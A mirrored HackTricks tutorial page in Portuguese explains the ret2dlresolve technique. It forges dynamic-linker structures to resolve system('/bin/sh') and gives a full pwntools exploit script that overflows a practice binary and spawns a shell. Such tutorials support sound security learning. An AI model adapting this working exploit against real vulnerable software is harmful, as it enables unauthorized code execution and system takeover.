mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 04:23:33 +00:00
88 lines
5.5 KiB
Markdown
88 lines
5.5 KiB
Markdown
# Ret2dlresolve
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
|
|
## Informação Básica
|
|
|
|
Conforme explicado na página sobre [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) e [**Relro**](../common-binary-protections-and-bypasses/relro.md), binários sem Full Relro resolverão símbolos (como endereços para bibliotecas externas) na primeira vez que são usados. Essa resolução ocorre chamando a função **`_dl_runtime_resolve`**.
|
|
|
|
A função **`_dl_runtime_resolve`** obtém do stack referências a algumas estruturas de que precisa para resolver o símbolo especificado.
|
|
|
|
Portanto, é possível **falsificar todas essas estruturas** para fazer a resolução dinâmica do símbolo solicitado (como a função **`system`**) e chamá-lo com um parâmetro configurado (por exemplo, **`system('/bin/sh')`**).
|
|
|
|
Normalmente, todas essas estruturas são falsificadas criando uma **cadeia ROP inicial que chama `read`** em uma memória gravável, em seguida as **estruturas** e a string **`'/bin/sh'`** são passadas para que sejam armazenadas pelo `read` em uma localização conhecida, e então a cadeia ROP continua chamando **`_dl_runtime_resolve`** com o endereço para `$'/bin/sh'`.
|
|
|
|
{% hint style="success" %}
|
|
Essa técnica é útil especialmente se não houver gadgets de syscall (para usar técnicas como [**ret2syscall**](rop-syscall-execv.md) ou [SROP](srop-sigreturn-oriented-programming.md)) e não houver maneiras de vazar endereços da libc.
|
|
{% endhint %}
|
|
|
|
Você pode encontrar uma explicação melhor sobre essa técnica na segunda metade do vídeo:
|
|
|
|
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
|
|
|
## Estruturas
|
|
|
|
É necessário falsificar 3 estruturas: **`JMPREL`**, **`STRTAB`** e **`SYMTAB`**. Você tem uma explicação melhor sobre como essas são construídas em [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
|
|
|
|
## Resumo do Ataque
|
|
|
|
1. Escrever estruturas falsas em algum lugar
|
|
2. Definir o primeiro argumento do sistema (`$rdi = &'/bin/sh'`)
|
|
3. Definir no stack os endereços das estruturas para chamar **`_dl_runtime_resolve`**
|
|
4. **Chamar** `_dl_runtime_resolve`
|
|
5. **`system`** será resolvido e chamado com `'/bin/sh'` como argumento
|
|
|
|
## Exemplo
|
|
|
|
Você pode encontrar um [**exemplo desta técnica aqui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **contendo uma explicação muito boa da cadeia ROP final**, mas aqui está o exploit final usado:
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln', checksec=False)
|
|
p = elf.process()
|
|
rop = ROP(elf)
|
|
|
|
# create the dlresolve object
|
|
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
|
|
|
|
rop.raw('A' * 76)
|
|
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
|
|
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
|
|
|
|
log.info(rop.dump())
|
|
|
|
p.sendline(rop.chain())
|
|
p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in
|
|
|
|
p.interactive()
|
|
```
|
|
## Referências
|
|
|
|
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
|
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|